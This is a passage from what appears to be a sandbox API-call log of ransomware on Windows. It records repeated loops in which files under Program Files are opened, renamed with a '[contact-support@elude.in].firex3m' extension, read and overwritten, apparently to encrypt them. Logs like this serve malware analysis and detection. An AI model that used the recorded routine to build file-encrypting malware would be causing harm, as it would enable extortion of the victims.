Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.scale-150_contrast-white.png") returned 1 [0243.507] GetProcessHeap () returned 0x630000 [0243.507] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f3c) returned 0x6fe3bb0 [0243.508] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.scale-150_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterapplist.scale-150_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.508] Sleep (dwMilliseconds=0x1) [0243.521] SysReAllocStringLen (in: pbstr=0x6d7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\StoreLogo.scale-180.png", len=0x67 | out: pbstr=0x6d7ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\StoreLogo.scale-180.png") returned 1 [0243.521] GetProcessHeap () returned 0x630000 [0243.521] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f18) returned 0x6fe3bb0 [0243.521] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\StoreLogo.scale-180.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\storelogo.scale-180.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.521] Sleep (dwMilliseconds=0x1) [0243.540] SysReAllocStringLen (in: pbstr=0x6d7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\Periscope\\Periscope_logo.png", len=0x6c | out: pbstr=0x6d7ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\Periscope\\Periscope_logo.png") returned 1 [0243.540] GetProcessHeap () returned 0x630000 [0243.540] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ee4) returned 0x6fe3bb0 [0243.540] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\Periscope\\Periscope_logo.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\periscope\\periscope_logo.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.540] Sleep (dwMilliseconds=0x1) [0243.567] SysReAllocStringLen (in: pbstr=0x6d7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\sql2000.xsl", len=0x7a | out: pbstr=0x6d7ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\sql2000.xsl") returned 1 [0243.567] GetProcessHeap () returned 0x630000 [0243.567] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ebc) returned 0x6fe3bb0 [0243.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\cartridges\\sql2000.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x69c [0243.606] CloseHandle (hObject=0x69c) returned 1 [0243.606] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0243.606] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\cartridges\\sql2000.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\sql2000.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\cartridges\\sql2000.xsl.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0243.607] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0243.607] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\sql2000.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6d7fc6c | out: lpFindFileData=0x6d7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2afef8f7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2afef8f7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2afef8f7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x858c, dwReserved0=0x2d0064, dwReserved1=0x390031, cFileName="sql2000.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SQL200~1.FIR")) returned 0x6d51c0 [0243.607] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0243.607] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\sql2000.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\cartridges\\sql2000.xsl.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x69c [0243.607] GetProcessHeap () returned 0x630000 [0243.607] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x85a1) returned 0x71c0048 [0243.608] GetProcessHeap () returned 0x630000 [0243.608] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x85a1) returned 0x70a7c70 [0243.608] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.608] ReadFile (in: hFile=0x69c, lpBuffer=0x71c0048, nNumberOfBytesToRead=0x8580, lpNumberOfBytesRead=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71c0048*, lpNumberOfBytesRead=0x6d7ff0c*=0x8580, lpOverlapped=0x0) returned 1 [0249.625] GetProcessHeap () returned 0x630000 [0249.625] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317db0 [0249.626] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.626] WriteFile (in: hFile=0x69c, lpBuffer=0x70a7c70*, nNumberOfBytesToWrite=0x8580, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70a7c70*, lpNumberOfBytesWritten=0x6d7ff0c*=0x8580, lpOverlapped=0x0) returned 1 [0249.626] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.626] WriteFile (in: hFile=0x69c, lpBuffer=0x70b01ef*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70b01ef*, lpNumberOfBytesWritten=0x6d7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0249.626] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.626] WriteFile (in: hFile=0x69c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x6d7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0249.626] CloseHandle (hObject=0x69c) returned 1 [0249.626] GetProcessHeap () returned 0x630000 [0249.626] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70a7c70 | out: hHeap=0x630000) returned 1 [0249.627] GetProcessHeap () returned 0x630000 [0249.627] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71c0048 | out: hHeap=0x630000) returned 1 [0249.627] GetProcessHeap () returned 0x630000 [0249.627] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317db0 | out: hHeap=0x630000) returned 1 [0249.627] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0249.627] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\sql2000.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6d7fcc4 | out: lpFindFileData=0x6d7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2afef8f7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2afef8f7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5abd13e7, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x85b0, dwReserved0=0x9f87496, dwReserved1=0x71c0040, cFileName="sql2000.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SQL200~1.FIR")) returned 0x6d51c0 [0249.628] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0249.628] Sleep (dwMilliseconds=0x1) [0254.749] SysReAllocStringLen (in: pbstr=0x6d7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\QUAD\\PREVIEW.GIF", len=0x6b | out: pbstr=0x6d7ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\QUAD\\PREVIEW.GIF") returned 1 [0254.749] GetProcessHeap () returned 0x630000 [0254.749] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d7c) returned 0x6fe3bb0 [0254.749] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\quad\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x698 [0255.159] CloseHandle (hObject=0x698) returned 1 [0255.159] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0255.160] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\quad\\preview.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\QUAD\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\quad\\preview.gif.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0255.160] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0255.160] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\QUAD\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6d7fc6c | out: lpFindFileData=0x6d7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bc8052, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x59f, dwReserved0=0x6e006f, dwReserved1=0x610074, cFileName="PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREVIE~1.FIR")) returned 0x6d4f40 [0255.161] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0255.161] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\QUAD\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\quad\\preview.gif.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x698 [0255.161] GetProcessHeap () returned 0x630000 [0255.161] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x5a1) returned 0x7469d88 [0255.161] GetProcessHeap () returned 0x630000 [0255.161] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x5a1) returned 0x746a350 [0255.161] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.161] ReadFile (in: hFile=0x698, lpBuffer=0x7469d88, nNumberOfBytesToRead=0x580, lpNumberOfBytesRead=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7469d88*, lpNumberOfBytesRead=0x6d7ff0c*=0x580, lpOverlapped=0x0) returned 1 [0255.458] GetProcessHeap () returned 0x630000 [0255.458] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318670 [0255.458] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.459] WriteFile (in: hFile=0x698, lpBuffer=0x746a350*, nNumberOfBytesToWrite=0x580, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x746a350*, lpNumberOfBytesWritten=0x6d7ff0c*=0x580, lpOverlapped=0x0) returned 1 [0255.459] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.459] WriteFile (in: hFile=0x698, lpBuffer=0x746a8cf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x746a8cf*, lpNumberOfBytesWritten=0x6d7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0255.459] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.459] WriteFile (in: hFile=0x698, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x6d7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0255.459] CloseHandle (hObject=0x698) returned 1 [0255.459] GetProcessHeap () returned 0x630000 [0255.459] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x746a350 | out: hHeap=0x630000) returned 1 [0255.459] GetProcessHeap () returned 0x630000 [0255.459] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7469d88 | out: hHeap=0x630000) returned 1 [0255.459] GetProcessHeap () returned 0x630000 [0255.459] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318670 | out: hHeap=0x630000) returned 1 [0255.459] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0255.460] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\QUAD\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6d7fcc4 | out: lpFindFileData=0x6d7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5e35e7f9, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x5c3, dwReserved0=0x6d7fd20, dwReserved1=0x7469d88, cFileName="PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREVIE~1.FIR")) returned 0x6d51c0 [0255.460] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0255.460] Sleep (dwMilliseconds=0x1) [0255.572] SysReAllocStringLen (in: pbstr=0x6d7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\NETWORK\\PREVIEW.GIF", len=0x6e | out: pbstr=0x6d7ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\NETWORK\\PREVIEW.GIF") returned 1 [0255.572] GetProcessHeap () returned 0x630000 [0255.572] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d44) returned 0x6fe3bb0 [0255.572] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\network\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x698 [0255.574] CloseHandle (hObject=0x698) returned 1 [0255.574] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0255.574] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\network\\preview.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\NETWORK\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\network\\preview.gif.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0255.575] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0255.575] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\NETWORK\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6d7fc6c | out: lpFindFileData=0x6d7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bc8052, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x554, dwReserved0=0x5b005f, dwReserved1=0x6f0063, cFileName="PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREVIE~1.FIR")) returned 0x6d5500 [0255.575] FindClose (in: hFindFile=0x6d5500 | out: hFindFile=0x6d5500) returned 1 [0255.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\NETWORK\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\network\\preview.gif.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x698 [0255.576] GetProcessHeap () returned 0x630000 [0255.576] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x561) returned 0x6868e0 [0255.576] GetProcessHeap () returned 0x630000 [0255.576] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x561) returned 0x756aa28 [0255.577] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.577] ReadFile (in: hFile=0x698, lpBuffer=0x6868e0, nNumberOfBytesToRead=0x540, lpNumberOfBytesRead=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6868e0*, lpNumberOfBytesRead=0x6d7ff0c*=0x540, lpOverlapped=0x0) returned 1 [0255.584] GetProcessHeap () returned 0x630000 [0255.584] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317b80 [0255.584] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.585] WriteFile (in: hFile=0x698, lpBuffer=0x756aa28*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x756aa28*, lpNumberOfBytesWritten=0x6d7ff0c*=0x540, lpOverlapped=0x0) returned 1 [0255.585] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.585] WriteFile (in: hFile=0x698, lpBuffer=0x756af67*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x756af67*, lpNumberOfBytesWritten=0x6d7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0255.585] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.585] WriteFile (in: hFile=0x698, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x6d7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0255.585] CloseHandle (hObject=0x698) returned 1 [0255.585] GetProcessHeap () returned 0x630000 [0255.585] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x756aa28 | out: hHeap=0x630000) returned 1 [0255.585] GetProcessHeap () returned 0x630000 [0255.585] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6868e0 | out: hHeap=0x630000) returned 1 [0255.585] GetProcessHeap () returned 0x630000 [0255.585] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317b80 | out: hHeap=0x630000) returned 1 [0255.585] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0255.586] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\NETWORK\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6d7fcc4 | out: lpFindFileData=0x6d7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5e48f890, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x578, dwReserved0=0x9f87496, dwReserved1=0x6868d8, cFileName="PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREVIE~1.FIR")) returned 0x6d4e00 [0255.586] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0255.586] Sleep (dwMilliseconds=0x1) [0256.666] SysReAllocStringLen (in: pbstr=0x6d7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ICE\\PREVIEW.GIF", len=0x6a | out: pbstr=0x6d7ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ICE\\PREVIEW.GIF") returned 1 [0256.666] GetProcessHeap () returned 0x630000 [0256.666] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4cec) returned 0x6fe3bb0 [0256.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\ice\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0259.762] CloseHandle (hObject=0x3f8) returned 1 [0259.762] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, 